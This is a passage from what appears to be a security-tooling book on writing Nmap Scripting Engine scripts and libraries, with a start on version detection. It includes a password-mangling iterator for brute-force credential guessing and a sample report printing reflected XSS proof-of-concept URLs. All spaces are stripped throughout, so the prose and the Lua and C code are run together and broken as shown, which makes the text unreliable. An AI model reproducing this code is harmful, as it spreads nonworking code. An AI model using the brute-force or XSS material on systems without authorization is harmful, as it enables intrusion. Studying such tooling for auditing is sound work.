DependenciesThisfielddescribesthepossibledependenciesbetweenNSEscripts.Thisisusefulwhenscriptsrequiretoberuninaspecificordersothattheycanusetheoutputofapreviousscriptinanotherscript.Thescriptslistedinthedependenciesfieldwillnotrunautomatically,andtheystillrequiretobeselectedtorun.
AsampleNSEscriptAsimpleNSEscriptlookslikethefollowing:
description=[[
Detaileddescriptiongoeshere
]]
---—@output—Somesampleoutput
author="PaulinoCalderon<[email protected]>"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"discovery","safe"}
—ScriptisexecutedforanyTCPport.
portrule=function(host,port)
returnport.protocol=="tcp"
end
---mainfunction
action=function(host,port)
…
end
ExploringenvironmentvariablesThereareafewenvironmentvariablesthatyouneedtoconsiderwhenwritingscriptsbecausetheywillbehelpful:
SCRIPT_PATH:ThisreturnstheabsolutepathoftherunningscriptSCRIPT_NAME:ThisreturnstherunningscriptnameSCRIPT_TYPE:Thisreturns“prerule”,“hostrule”,“portrule”,or“postrule”
UsetheSCRIPT_NAMEenvironmentvariableinsteadofhardcodingthenameofyourscript.Thisway,youwon’tneedtoupdatethescriptifyouendupchangingitsname.Forexample,youcoulduseittoreadscriptargumentsasfollows:
localarg1=stdnse.get_script_args(SCRIPT_NAME..".arg1")
Thestdnselibrarywillbeexploredlaterinthischapter.Thislibrarycontainstheget_script_args()functionthatcanbeusedtoreadscriptarguments.
AccessingtheNmapAPIThisisthecoreAPIthatallowsscriptstoobtainhostandportinformationsuchasnameresolution,state,versiondetectionresults,Macaddress,andmore(ifavailable).ItalsoprovidestheinterfacetoNsock,Nmap’ssocketlibrary,whichwillbecoveredinChapter8,WorkingwithNetworkSocketsandBinaryData.
NSEargumentsTheargumentspassedtothemainactionfunctionconsistoftwoLuatablescorrespondingtohostandportinformation.Theamountofinformationavailabledependsontheoptionsusedduringthescans.Forexample,thehost.ostablewillshownothingiftheOSdetectionmode(-O)wasnotset.
HosttableThehosttableisaregularLuatablewiththefollowingfields:
host.os:ThisisthetablecontainingOSmatches(onlyavailablewithOSdetection)host.ip:ThisistheIPaddressofthetargethost.name:ThisisthereverseDNSnameofthetarget(ifavailable)host.targetname:Thisisthehostnamespecifiedinthecommandlinehost.directly_connected:ThisisaBooleanthatindicateswhetherthetargetisonthesamenetworksegmenthost.mac_addr:ThisistheMacaddressofthetargethost.mac_addr_next_hop:ThisistheMacaddressofthefirsthoptothetargethost.mac_addr_src:ThisistheMacaddressofourclienthost.interface_mtu:ThisistheMTUvalueofyournetworkinterfacehost.bin_ip:ThisisthetargetIPaddressasa4-byteand16-bytestringforIPv4andIpv6,respectivelyhost.bin_ip_src:Thisisourclient’sIPaddressasa4-byteand16-bytestringforIPv4andIpv6,respectivelyhost.times:Thisisthetimingdataofthetargethost.traceroute:Thisisonlyavailablewith--traceroute
PorttableTheporttableisstoredasaLuatableanditmaycontainthefollowingfields:
port.number:Thisisthenumberofthetargetport.port.protocol:Thisistheprotocolofthetargetport.Itcouldbetcporudp.port.service:Thisistheservicenamedetectedviaportmatchingorwithservicedetection(-sV).port.version:Thisisthetablecontainingtheversioninformationdiscoveredbytheservicedetectionscan.Thetablecontainsfieldssuchasname,name_confidence,product,version,extrainfo,hostname,ostype,devicetype,service_tunnel,service_ftp,andcpecode.port.state:Thisreturnsinformationaboutthestateoftheport.SeeChapter1,IntroductiontotheNmapScriptingEngine,formoreinformationaboutportstates.
ExceptionhandlinginNSEscriptsTheexceptionhandlingmechanisminNSEwasdesignedtohelpwithnetworkingI/Otasks.Itworksinaprettystraightforwardmanner.Developersmustwrapthecodetheywanttomonitorforexceptionsinsideannmap.new_try()call.Thefirstvaluereturnedbythefunctionindicatesthecompletionstatus.Ifitreturnsfalseornil,thesecondreturnedvaluemustbeanerrorstring.Therestofthereturnvaluesinasuccessfulexecutioncanbesetandusedinanyway.
Thecatchfunctiondefinedbynmap.new_try()willexecutewhenanexceptionisraised.Let’slookatthemysql-vuln-cve2012-2122.nsescript(http://nmap.org/nsedoc/scripts/mysql-vuln-cve2012-2122.html).Inthisscript,acatchfunctionperformssomesimplegarbagecollectionifasocketisleftopened:
localcatch=function()socket:close()end
localtry=nmap.new_try(catch)
…
try(socket:connect(host,port))
response=try(mysql.receiveGreeting(socket))
NoteTheofficialdocumentationcanbefoundathttp://nmap.org/nsedoc/lib/nmap.html.
TheNSEregistryTheNSEregistryisaLuatabledesignedtostorevariablessharedbetweenallscriptsduringascan.Theregistryisstoredatthenmap.registryvariable.Forexample,someofthebrute-forcescriptswillstorevalidcredentialssothatotherscriptscanusethemtoperformauthenticatedactions.WeinsertvaluesasinanyotherregularLuatable:
table.insert(nmap.registry.credentials.http,{username=username,
password=password})
TipRemembertoselectuniqueregistrynamestoavoidoverridingvaluesusedbyotherscripts.
WritingNSElibrariesWhenwritingyourownNSEscripts,youwillsometimeswanttorefactorthecodeandmakeitavailableforothers.TheprocessofcreatingNSElibrariesisprettysimple,andthereareonlyafewthingstokeepinmind.NSElibrariesaremostlyinLua,butotherprogramminglanguagessuchasCandC++canalsobeused.
Let’screateasimpleLualibrarytoillustratehoweasyitis.First,rememberthatNSElibrariesarestoredinthe/nselib/directoryinyourNmapdatadirectorybydefault(seeChapter3,NSEDataFiles,tolearnhowtolocatethisdirectory).Startbycreatingafilenamedmyfirstlib.luainsideit.Insideournewlywrittenfile,placethefollowingcontent:
localstdnse=require"stdnse"
functionhello(msg,name)
returnstdnse.format("Hello'%s',\n%s",msg,name)
end
ThefirstlinedeclaresthedependencywiththestdnseNSElibrary,whichstoresusefulfunctionsrelatedtoinputhandling:
localstdnse=require"stdnse"
Therestisafunctiondeclarationthattakestwoargumentsandpassesthemthroughthestdnselibrary’sformatfunction:
functionhello(msg,name)
returnstdnse.format("Hello'%s',\n%s",msg,name)
end
Nowwecancallournewlibraryfromanyscriptinthefollowingway:
localmyfirstlib=require"myfirstlib"
…
myfirstlib.hello("foo","gameover!")
…
Rememberthatglobalnamecollisionmightoccurifyoudonotchoosemeaningfulnamesforyourglobalvariables.
TipTheofficialonlinedocumentationforthestdnseNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/stdnse.html.
ExtendingthefunctionalityofanNSElibraryTheavailableNSElibrariesarepowerfulandcomprehensivebut,sometimes,wewillfindourselvesneedingtomodifythemtoachievespecialtasks.Forme,itwastheneedtosimplifythepassword-auditingprocessthatperformswordlistmanglingwithothertools,andthenrunningthescriptsinthebrutecategory.Tosimplifythis,let’sexpandthefunctionalityofoneoftheavailableNSElibrariesandapersonalfavorite:thebruteNSElibrary.Inthisimplementation,wewilladdanewexecutionmodecalledpass-manglingthatwillperformcommonpasswordpermutationson-the-fly,savingusthetroubleofrunningthird-partytools.
Let’sstarttowriteournewiteratorfunction.Thiswillbeusedinournewexecutionmode(executionmodesaredescribedinChapter6,DevelopingBrute-forcePassword-auditingScripts).Inournewiterator,wedefinethefollowingmanglingrules:
digits:Appendscommondigitsfoundinpasswordssuchassingle-anddouble-digitnumbersandcommonpasswordcombinationssuchas123strings:Performscommonstringoperationssuchasreverse,repetition,capitalization,camelization,leetify,andsoonspecial:Appendscommonspecialcharacterssuchas!,$,#,andsoonall:Thisruleexecutesalltherulesdescribedbefore
Forexample,thewordsecretwillyieldthefollowingloginattemptswhenrunningournewbrutemodepass-mangling:
secret2014
secret2015
secret2013
secret2012
secret2011
secret2010
secret2009
secret0
secret1
secret2…
secret9
secret00
secret01…
secret99
secret123
secret1234
secret12345
s3cr3t
SECRET
S3CR3T
secret
terces
Secret
S3cr3t
secretsecret
secretsecretsecret
secret$
secret#
secret!
secret.
secret@
Ournewiteratorfunction,pw_mangling_iterator,willtakecareofgeneratingthepermutationscorrespondingtoeachrule.Thisisabasicsetofrulesthatonlytakescareofcommonpasswordpermutations.Youcanworkonmoreadvancedpassword-manglingrulesafterreadingthis:
pw_mangling_iterator=function(users,passwords,rule)
localfunctionnext_credential()
foruser,passinIterators.account_iterator(users,passwords,"pass")
do
ifrule=='digits'orrule=='all'then
—Currentyear,nextyear,5yearsback…
localyear=tonumber(os.date("%Y"))
coroutine.yield(user,pass..year)
coroutine.yield(user,pass..year+1)
fori=year,year-5,-1do
coroutine.yield(user,pass..i)
end
—Digitsfrom0to9
fori=0,9do
coroutine.yield(user,pass..i)
end
—Digitsfrom00to99
fori=0,9do
forx=0,9do
coroutine.yield(user,pass..i..x)
end
end
—Commondigitcombos
coroutine.yield(user,pass.."123")
coroutine.yield(user,pass.."1234")
coroutine.yield(user,pass.."12345")
end
ifrule=='strings'orrule=='all'then
—Basicstringstufflikeuppercase,
—reverse,camelizationandrepetition
localleetify={["a"]='4',
["e"]='3',
["i"]='1',
["o"]='0'}
localleetified_pass=pass:gsub("%a",leetify)
coroutine.yield(user,leetified_pass)
coroutine.yield(user,pass:upper())
coroutine.yield(user,leetified_pass:upper())
coroutine.yield(user,pass:lower())
coroutine.yield(user,pass:reverse())
coroutine.yield(user,pass:sub(1,1):upper()..pass:sub(2))
coroutine.yield(user,
leetified_pass:sub(1,1):upper()..leetified_pass:sub(2))
coroutine.yield(user,pass:rep(2))
coroutine.yield(user,pass:rep(3))
end
ifrule=='special'orrule=='all'then
—Commonspecialcharacterslike$,#,!
coroutine.yield(user,pass..'$')
coroutine.yield(user,pass..'#')
coroutine.yield(user,pass..'!')
coroutine.yield(user,pass..'.')
coroutine.yield(user,pass..'@')
end
end
whiletruedocoroutine.yield(nil,nil)end
end
returncoroutine.wrap(next_credential)
end
Wewilladdanewscriptargumenttodefinethebruteruleinsidethestartfunctionofthebruteengine:
localmangling_rules=stdnse.get_script_args("brute.mangling-rule")or
"all"
Inthiscase,wealsoneedtoaddanelseifclausetoexecuteourmodewhenthepass-manglingstringispassedastheargument.Thenewcodeblocklookslikethis:
…
elseif(modeandmode=='pass')then
self.iterator=self.iteratororIterators.pw_user_iterator(
usernames,passwords)
elseif(modeandmode=='pass-mangling')then
self.iterator=self.iteratororIterators.pw_mangling_iterator(
usernames,passwords,mangling_rules)
elseif(mode)then
returnfalse,("Unsupportedmode:%s"):format(mode)
…
Withthissimpleadditionofanewiteratorfunction,wehaveinevitablyimprovedover50scriptsthatusethisNSElibrary.Nowyoucanperformpasswordmanglingon-the-flyforallprotocolsandapplications.Atthispoint,itisveryclearwhycoderefactoringinNSEisamajoradvantageandwhyyoushouldtrytosticktotheavailableimplementationssuchastheDriverbruteengine.
NSEmodulesinC/C++SomemodulesincludedwithNSEarewritteninC++orC.TheselanguagesprovideenhancedperformancebutareonlyrecommendedwhenspeediscriticalortheCorC++implementationofalibraryisrequired.
Let’sbuildanexampleofasimpleNSElibraryinCtogetyoufamiliarwiththisprocess.Inthiscase,ourCmodulewillcontainamethodthatsimplyprintsamessageonthescreen.Overall,thestepstogetaClibrarytocommunicatewithNSEareasfollows:
1. PlaceyoursourceandheaderfilesforthelibraryinsideNmap’srootdirectory2. Addentriestothesource,header,andobjectfileforthenewlibraryinthe
Makefile.infile3. Linkthenewlibraryfromthense_main.ccfile
First,wewillcreateourlibrarysourceandheaderfiles.ThenamingconventionforClibrariesisthelibrarynameappendedtothense_string.Forexample,Forourlibrarytest,wewillnameourfilesnse_test.ccandnse_test.h.Placethefollowingcontentinafilenamednse_test.cc:
extern"C"{
#include"lauxlib.h"
#include"lua.h"
}
#include"nse_test.h"
staticinthello_world(lua_State*L){
printf("HelloWorldFromaClibrary\n");
return1;
}
staticconststructluaL_Regtestlib[]={
{"hello",hello_world},
{NULL,NULL}
};
LUALIB_APIintluaopen_test(lua_State*L){
luaL_newlib(L,testlib);
return1;
}
Thenplacethiscontentinthense_test.hlibraryheaderfile:
#ifndefTESTLIB
#defineTESTLIB
#defineTESTLIBNAME"test"
LUALIB_APIintluaopen_test(lua_State*L);
#endif
Makethefollowingmodificationstothense_main.ccfile:
1. Includethelibraryheaderatthebeginningofthefile:
#include<nse_test.h>
2. Lookfortheset_nmap_libraries(lua_State*L)functionandupdatethelibsvariabletoincludethenewlibrary:
staticconstluaL_Reglibs[]={
{NSE_PCRELIBNAME,luaopen_pcrelib},
{NSE_NMAPLIBNAME,luaopen_nmap},
{NSE_BINLIBNAME,luaopen_binlib},
{BITLIBNAME,luaopen_bit},
{TESTLIBNAME,luaopen_test},
{LFSLIBNAME,luaopen_lfs},
{LPEGLIBNAME,luaopen_lpeg},
#ifdefHAVE_OPENSSL
{OPENSSLLIBNAME,luaopen_openssl},
#endif
{NULL,NULL}
};
3. AddtheNSE_SRC,NSE_HDRS,andNSE_OBJSvariablestoMakefile.in:
NSE_SRC=nse_main.ccnse_utility.ccnse_nsock.ccnse_dnet.ccnse_fs.cc
nse_nmaplib.ccnse_debug.ccnse_pcrelib.ccnse_binlib.ccnse_bit.cc
nse_test.ccnse_lpeg.cc
NSE_HDRS=nse_main.hnse_utility.hnse_nsock.hnse_dnet.hnse_fs.h
nse_nmaplib.hnse_debug.hnse_pcrelib.hnse_binlib.hnse_bit.h
nse_test.hnse_lpeg.h
NSE_OBJS=nse_main.onse_utility.onse_nsock.onse_dnet.onse_fs.o
nse_nmaplib.onse_debug.onse_pcrelib.onse_binlib.onse_bit.o
nse_test.onse_lpeg.o
NowwejustneedtorecompileandcreateasampleNSEscripttotestournewlibrary.
4. Createafilenamednse-test.nseinsideyourscriptsfolderwiththefollowingcontent:
localtest=require"test"
description=[[
TestscriptthatcallsamethodfromaClibrary
]]
author="PaulinoCalderon<calderon()websec.mx>"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"safe"}
portrule=function()returntrueend
action=function(host,port)
localc=test.hello()
end
5. Finally,weexecuteourscript.Inthiscase,wewillseetheHelloWorldFromaClibrarymessagewhenthescriptisexecuted:
$nmap-p80--scriptnse-testscanme.nmap.org
StartingNmap6.47SVN(http://nmap.org)at2015-01-1323:41CST
HelloWorldFromaClibrary
Nmapscanreportforscanme.nmap.org(74.207.244.221)
Hostisup(0.12slatency).
PORTSTATESERVICE
80/tcpopenhttp
Nmapdone:1IPaddress(1hostup)scannedin0.79seconds
NoteTolearnmoreaboutLua’sCAPIandhowtoruncompiledCmodules,checkouttheofficialdocumentationathttp://www.lua.org/manual/5.2/manual.html#4andhttp://nmap.org/book/nse-library.html.
ExploringotherpopularNSElibrariesLet’sbrieflyreviewsomeofthemostcommonlibrariesthatyouwilllikelyneedduringthedevelopmentofyourownscripts.Thereare107availablelibrariesatthemoment,butthefollowinglibrariesmustberememberedatalltimeswhendevelopingyourownscriptsinordertoimprovetheirquality.
stdnseThislibrarycontainsmiscellaneousfunctionsusefulforNSEdevelopment.Ithasfunctionsrelatedtotiming,parallelism,outputformatting,andstringhandling.
Thefunctionsthatyouwillmostlikelyneedinascriptareasfollows:
stdnse.get_script_args:Thisgetsscriptargumentspassedviathe--script-argsoption:
localthreads=stdnse.get_script_args(SCRIPT_NAME..".threads")or3
stdnse.debug:Thisprintsadebugmessage:
stdnse.debug2("Thisisadebugmessageshownfordebugginglevel2or
higher")
stdnse.verbose:Thisprintsaformattedverbositymessage:
stdnse.verbose1("notrunningforlackofprivileges.")
stdnse.strjoin:Thisjoinsastringwithaseparatorstring:
localoutput=stdnse.strjoin("\n",output_lines)
stdnse.strsplit:Thissplitsastringbyadelimiter:
localheaders=stdnse.strsplit("\r\n",headers)
TipTheofficialonlinedocumentationforthestdnseNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/stdnse.html.
opensslThisistheinterfacetotheOpenSSLbindingsusedcommonlyinencryption,hashing,andmultiprecisionintegers.ItsavailabilitydependsonhowNmapwasbuilt,butwecanalwayscheckwhetherit’savailablewiththehelpofapcall()protectedcall:
ifnotpcall(require,"openssl")then
action=function(host,port)
stdnse.print_debug(2,"Skipping\"%s\"becauseOpenSSLismissing.",
id)
end
end
action=actionorfunction(host,port)
...
end
TipTheofficialonlinedocumentationfortheopensslNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/openssl.html.
targetThisisautilitylibrarydesignedtomanageascanqueueofnewlydiscoveredtargets.ItenablesNSEscriptsrunningwithprerule,hostrule,orportruleexecutionrulestoaddnewtargetstothecurrentscanqueueofNmapon-the-fly.IfyouarewritinganNSEscriptbelongingtothediscoverycategory,Iencourageyoutousethislibraryinthescript.
Toaddtargets,simplycallthetarget.addfunction:
localstatus,err=target.add("192.168.1.1","192.168.1.2",...)
TipTheofficialonlinedocumentationforthetargetNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/target.html.
shortportThislibraryisdesignedtohelpbuildportrules(seeChapter1,IntroductiontotheNmapScriptingEngine).Itattemptstocollectinoneplacethemostcommonportrulesusedbyscriptdevelopers.Touseit,wesimplyloadthelibraryandassignthecorrespondingportrule:
localshortport=require"shortport"
…
portrule=shortport.http
Themostcommonfunctionsthatyouarelikelytoneedareasfollows:
http:ThisistheportruletomatchHTTPservices:
portrule=shortport.http
port_or_service:Thisistheportruletomatchaportnumberorservicename:
portrule=shortport.port_or_service(177,"xdmcp","udp")
portnumber:Thisistheportruletomatchaportoralistofports:
portrule=shortport.portnumber(69,"udp")
TipTheofficialonlinedocumentationfortheshortportNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/shortport.html.
credsThislibrarymanagescredentialsfoundbythescripts.Itsimplystoresthecredentialsintheregistry,butitprovidesacleaninterfacetoworkwiththedatabase.
Toaddcredentialstothedatabase,yousimplyneedtocreateacredsobjectandcalltheaddfunction:
localc=creds.Credentials:new(SCRIPT_NAME,host,port)
c:add("packtpub","secret",creds.State.VALID)
WewilllearnmoreaboutthislibraryinChapter6,DevelopingBrute-forcePassword-auditingScripts,whenwewriteourownbrute-forceNSEscript.
TipTheofficialonlinedocumentationforthecredsNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/creds.html.
vulnsThislibraryisdesignedtohelpdeveloperspresentthestateofahostwithregardtosecurityvulnerabilities.Itmanagesandpresentsconsistentandhuman-readablereportsforeveryvulnerabilityfoundinthesystembyNSE.Areportproducedbythislibrarylookslikethefollowing:
PORTSTATESERVICEREASON
80/tcpopenhttpsyn-ack
http-phpself-xss:
VULNERABLE:
Unsafeuseof$_SERVER["PHP_SELF"]inPHPfiles
State:VULNERABLE(Exploitable)
Description:
PHPfilesarenothandlingsafelythevariable$_SERVER["PHP_SELF"]
causingReflectedCrossSiteScriptingvulnerabilities.
Extrainformation:
Vulnerablefileswithproofofconcept:
http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/sc
ript%3E
http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C
/script%3E
http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script
%3E
http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C
/script%3E
Spideringlimitedto:maxdepth=3;maxpagecount=20;
withinhost=calder0n.com
References:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://php.net/manual/en/reserved.variables.server.php
ThislibrarywillbecoveredindetailinChapter10,VulnerabilityDetectionandExploitation.
TipTheofficialonlinedocumentationforthevulnsNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/vulns.html.
httpNmaphasbecomeapowerfulWebvulnerabilityscanner,andmostofthetasksrelatedtoHTTPcanbedonewiththislibrary.Thelibraryissimpletouse,allowsrawheaderhandling,andevenhassupportforHTTPpipelining.
Ithasmethodssuchashttp.head(),http.get(),andhttp.post(),correspondingtothecommonHTTPmethodsHEAD,GET,andPOST,respectively,butitalsohasagenericmethodnamedhttp.generic_request()toprovidemoreflexibilityfordeveloperswhomaywanttotrymoreobscureHTTPverbs.
AsimpleHTTPGETcallcanbemadewithasinglemethodcall:
localrespo=http.get(host,port,uri)
TipTheofficialonlinedocumentationforthehttpNSElibrarycanbefoundathttp://nmap.org/nsedoc/lib/http.html.
SummaryInthischapter,youlearnedwhatinformationisavailabletoNSEandhowtoworkwiththisdatatoachievedifferenttaskswithNmap.YoualsolearnedhowthemainNSEAPIworksandwhatthestructuresofscriptsandlibrariesarelike.WecoveredtheprocessofdevelopingnewNSElibrariesinCandLua.NowyoushouldhavealloftheknowledgeinLuaandtheinnerworkingsofNSErequiredtostartwritingyourownscriptsandlibraries.
ThenextchapterwillcovertheversiondetectioncapabilitiesofNSE,andwewillstartwritingourownversiondetectionscripts.
Chapter5.EnhancingVersionDetectionTheNmapScriptingEngine(NSE)enhancesitsalreadypowerfulversiondetectionfunctionalitybyallowingscriptstoperformadditionalfingerprintingtasksagainstscannedtargets.Someversionscriptscanbetranslatedintoprobes,andsometimesitiseasiertowriteanNSEscript.Inthischapter,youwilllearnwhentodoso.
NSEscriptsbelongingtotheversioncategorywillautomaticallyrunwhenversiondetectionmodeisenabled.Therefore,itisimportantthatwelearnhowtorecognizewhetherascriptbelongstothiscategoryornot.Also,scriptexecutionrulesshouldnottriggerfalsepositivesiftheyarerunagainstadifferentservice.
YouwilllearnthefundamentalsofversiondetectionwithNSEandhowtowriteyourownNSEscripts.Wewillreviewthemostcommonexecutionhostandportrulesinversionscripts;bytheendofthechapter,youwillknoweverythingaboutversiondetectioninNmapandNSE.
Youmayskipthischapterifyouarefamiliarwiththefollowingtopics:
TheinnerworkingsofversiondetectioninNmapAdjustingtheraritylevelofversionscansWritingyourownversiondetectionprobesWritingyourownNSEversionscripts
Sometimes,youwillstumblewithunrecognizedservices.Usethoseopportunitiestopracticewhatyoulearnhere,andcontributetothecommunitybysharingyournewversionscriptsandprobes.
UnderstandingversiondetectionmodeinNSEThe-sVNmapoptionenablesservicedetectionmode,allowingitsuserstodeterminetheversionofarunningservice.Ifversiondetectionisenabled,theresultstablewillcontaintheadditionalVERSIONcolumn:
PORTSTATESERVICEVERSION
22/tcpopensshOpenSSH5.3p1Debian3ubuntu7(UbuntuLinux;protocol2.0)
25/tcpfilteredsmtp
80/tcpopenhttpApachehttpd2.2.14((Ubuntu))
9929/tcpopennping-echoNpingecho
ServiceInfo:OS:Linux;CPE:cpe:/o:linux:linux_kernel
Servicedetectionperformed.Pleasereportanyincorrectresultsat
http://nmap.org/submit/.
Nmapdone:1IPaddress(1hostup)scannedin16.63seconds
Theamountofreturnedinformationvaries,butitisveryusefulasapenetrationtesterlookingforsecurityvulnerabilitiesorevenasasystemadministratorkeepinganeyeonyournetworkforunusualchanges.Rememberthattherewillbeservicesthatallowyoutolistsupportedmodulesandobtainverydetailedprotocolorserviceinformation.
Toenableservicedetectionmode,usethe-sVflag:
#nmap-sVscanme.nmap.org
TipThe-sCflagusedtoenableNSEwillnotautomaticallyrunversionscripts.Itisalsonecessarytoincludethe-sVflagifyouareinterestedinthatinformation:
#nmap-sV-sC<target>
PhasesofversiondetectionAversiondetectionscanisdividedintothefollowingphases:
Iftheportisopened,aNULLprobeissenttothatservice.Thistypeofprobeconsistsofopeningtheconnectionandlisteningforanydatasentbythetarget.Theresponseismatchedagainstallthedifferentsignaturesinthedatabasetoproduceasoftmatchorhardmatch.Ifthematchisasoftmatch,itwilllaunchtheadditionalcorrespondingprobes.IftheinitialNULLprobefailedtofingerprinttheservice,theTCPandUDPprobesstoredinnmap-service-probesaresent.ThisphaseworkssimilarlytotheNULLprobeexceptthatastringissentasapayloadforeachprobe.Asdescribedpreviously,anyresponsegeneratedbytheseprobeswillbematchedagainstalistofknownsignatures.Ifboththepreviousphasesfail,Nmapwilllaunchservice-specificprobessequentially.Thispartisheavilyoptimizedtoavoidnetworkstatecorruptionandreducethenumberofprobesneededtomatchaservice.ProbestodeterminewhetherthetargetisrunningSSLaresent.Ifaserviceisdetected,theservicescanisrestartedagainstthatporttodeterminethelisteningservice.AseriesofprobestoidentifyRPC-basedservicesislaunched.Ifaprobegeneratesanunrecognizedresponse,Nmapwillgenerateafingerprintthatcanbesubmittedtoimprovethedatabase.
AdjustingtheraritylevelofaversionscanThenumberofprobessenttoeachservicedependsonavaluenamedraritythateachprobedefinesinthe/nmap-service-probesfile.Youcansetthenumberofprobestousebychangingtheintensitylevelofthescanwiththe--version-intensity[0-9]argument:
#nmap-sV–-version-intensity9<target>
NoteHigherversionintensityscanswillproducebetterresultsbuttakeupconsiderablylongertime.Thedefaultservicescan’srarityvalueis7.Therearealsoaliasessuchas--version-lightand--version-all.Theycorrespondtosettingtherarityvalueto2and9,respectively.
UpdatingtheversionprobesdatabaseTheversionprobesdatabaseisstoredinthenmap-service-probesfileandisconstantlyupdated,thankstousersubmissions.YoucanhelpNmapimproveitsdetectionbysubmittingnewfingerprintsorfixestohttp://insecure.org/cgi-bin/submit.cgi?.
TipIfyouaresubmittingfixesornewprobes,Irecommendreadingtheofficialdocumentationfirst.Itisavailableathttp://nmap.org/book/vscan-community.html#vscan-submit-prints.
TakingacloserlookatthefileformatThenmap-service-probesfileconsistsofseveraldirectivesthatdefinethebehaviorofthescanner.Youmayupdatethisfileifyouwouldliketodothingssuchasexcludingportsfromversiondetection,adjustingthetimeoutvalueoftheNULLprobe,orfixingapatternmatch.Thefollowingisasamplefiletakenfromhttp://nmap.org/book/vscan-fileformat.htmlthatillustratesthemainsectionsofthisfile:
#TheExcludedirectivetakesacommaseparatedlistofports.
#Theformatisexactlythesameasthe-pswitch.
ExcludeT:9100-9107
#ThisistheNULLprobethatjustcomparesanybannersgiventous
##############################NEXTPROBE##############################
ProbeTCPNULLq||
#Waitforatleast5secondsfordata.OtherwiseanNmapdefaultisused.
totalwaitms5000
#Windows2003
matchftpm/^220[-]MicrosoftFTPService\r\n/p/Microsoftftpd/
matchftpm/^220ProFTPD(\d\S+)Server/p/ProFTPD/v/$1/
softmatchftpm/^220[-.\w]+ftp.*\r\n$/i
matchidentm|^flock\(\)onclosedfilehandle.*midentd|p/midentd/
i/broken/
matchimapm|^\*OKWelcometoBincIMAPv(\d[-.\w]+)|p/BincIMAPd/v$1/
softmatchimapm/^\*OK[-.\w]+imap[-.\w]+\r\n$/i
matchlucent-fwadmm|^0001;2$|p/LucentSecureManagementServer/
matchmeetingmakerm/^\xc1,$/p/MeetingMakercalendaring/
#lopster1.2.0.1onLinux1.1
matchnapsterm|^1$|p/LopsterNapsterP2Pclient/
ProbeUDPHelpq|help\r\n\r\n|
rarity3
ports7,13,37
matchchargenm|@ABCDEFGHIJKLMNOPQRSTUVWXYZ|
matchechom|^help\r\n\r\n$|
TipDocumentationofallthedirectivesusedinthisfileformatisavailableathttp://nmap.org/book/vscan-fileformat.html.
ExcludingscannedportsfromversiondetectionNmapdoesnotsendversiondetectionprobestoTCPportsbetween9100and9107bydefault.Thisistoavoidsomeknownprintersthatprintrandomgarbagewhenprobesaresent.Ifyouwouldliketoaddotherservicesthatapplytoyourownenvironment,youmayaddtheminthenmap-service-probesfileusingtheExcludedirective:
ExcludeT:9100-9107
NoteAllexcluderulesareignoredwhenNmapisusedwiththe--allportsoption.
UsingfallbackstomatchotherversionprobesFallbacksattempttoimprovetheefficiencyofthedetectionprocessbyallowingprobestomatchregularexpressionscorrespondingtootherprobes.Thismechanismallowsustoperformcheatsincertainservicestomatchresponsesofpreviousprobes.Moreinformationonthisdirectivecanbefoundinthefileformatsectionofthischapter—forexample:
ProbeTCPGetRequestq|GET/HTTP/1.0\r\n\r\n|
rarity1
ports1,70,79,80-
85,88,113,139,143,280,497,505,514,515,540,554,591,620,631,783,888,898,900,9
01,993,995,1026,1080,1042,1214,1220,1234,1311,1314,1344,1503,1610,1611,1830
,1900,2001,2002,2030,2064,2160,2306,2396,2525,2715,2869,3000,3002,3052,3128
,3280,3372,3531,3689,3872,4000,4444,4567,4660,4711,5000,5427,5060,5222,5269
,5280,5432,5800-
5803,5900,6103,6346,6544,6600,6699,6969,7002,7007,7070,7100,7402,7776,8000-
8010,8080-8085,8088,8118,8181,8443,8880-
8888,9000,9001,9030,9050,9080,9090,9999,10000,10001,10005,11371,13013,13666
,13722,14534,15000,17988,18264,31337,40193,50000,55555
sslports443,4443
…
ProbeTCPHTTPOptionsq|OPTIONS/HTTP/1.0\r\n\r\n|
rarity4
ports80-
85,2301,443,631,641,3128,5232,6000,8080,8888,9999,10000,10031,37435,49400
fallbackGetRequest
Gettingtoknowpost-processorsPost-processorsweredesignedtoperformadditionaltasksafterthedetectionofcertainservices.Therearetwopost-processors:
NSESSLservices
NmapScriptingEngineNSEisusedtoperformadvancedfingerprintingagainstdetectedservicestoovercomethelimitationsofaregularexpressiondetectionsystem.Thispost-processorisinchargeofpassingthehostandportdatatothecorrespondingNSEversionscript.
TipTheRPCgrindingpost-processorhasbeenremovedinrecentversionsduetothemigrationofthisfunctionalitytotherpc-grindNSEscript.ThisisanotherproofoftheefficiencyofNSE.Currently,thereareotherfeaturesbeingportedtoNSE,includingportscanning.
SSLTheSSLpost-processoridentifiesservicesrunningovertheSSLprotocolandcreatesanencryptedsessionfromwhereaservicedetectionscanislaunchedtofingerprinttheunderlyingservice.ThisallowstheNmapversiondetectionsystemtocorrectlyfingerprintservicessuchasSMTPS,HTTPS,FTPS,andmanyothercommonservicesrunningonSSL.
NoteThispost-processordependsontheexistenceofOpenSSL(http://openssl.org)inthesystem.
WritingyourownversiondetectionscriptsWhenwritingourownNSEscripts,wewillusetheAPIprovidedbyNmaptointeractwiththehostandportdatabase.Towriteaversionscript,wesimplyneedtodothefollowing:
1. Addyourscripttothecategoryversion.2. Writethecorrespondingportrule.3. Settheportversioninourscriptaftersuccessfuldetection.
DefiningthecategoryofaversiondetectionscriptThefirststepisverystraightforward.InyourNSEscript,addthecategoryfieldasfollows:
category={"version"}
ThecategoryfieldisactuallyaregularLuatable,sofeelfreetoaddmorecategoriestoyourscriptifnecessary.
DefiningtheportruleofaversiondetectionscriptThenextimportantthingistohaveaportrulematchingthedesiredservice.Keepinmindthatwehavefunctionaliasesthatwillhelpdefinetheseportrules,suchas:
shortport.portnumber(port,protos,states)
